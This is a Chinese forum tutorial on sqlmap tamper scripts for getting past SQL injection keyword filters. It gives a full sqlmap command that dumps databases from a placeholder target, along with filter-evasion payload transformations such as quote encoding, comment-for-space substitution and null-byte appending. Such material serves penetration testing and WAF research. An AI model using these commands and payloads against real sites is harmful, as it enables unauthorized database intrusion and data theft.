|
sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。
当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。
所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。 如何判断使用哪个脚本
最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。
如图:
直接加个单引号被过滤,说明注入时单引号是没法用的。
空格、等于号都没有过滤,成功报错。
select被过滤。
以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。
比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。
下面对于sqlmap的tamper参数详细讲解。
使用方法
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化
[pre]
sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2commet,versionedmorekeywords.py" -v 3 --dbs
[/pre]
脚本名:apostrophemask.py
作用:用utf8代替引号
[/pre]
Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
[/pre]
脚本名:equaltolike.py
[pre]
Input: SELECT * FROM users WHERE id=1
Output: SELECT * FROM users WHERE id LIKE 1
[/pre]
脚本名:greatest.py
[pre]
Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0
[/pre]
脚本名:space2hash.py
[/pre]
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
[/pre]
脚本名:appendnullbyte.py
[pre]
xample: ('1 AND 1=1') '1 AND 1=1%00'
[/pre]
脚本名:charencode.py
[pre]
* Input: SELECT FIELD FROM%20TABLE
* Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45
[/pre]
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?注册
×
|
有志者,事竟成,破釜沉舟,百二秦关终属楚. 苦心人,天不负, 卧薪尝胆 ,三千越甲可吞吴
|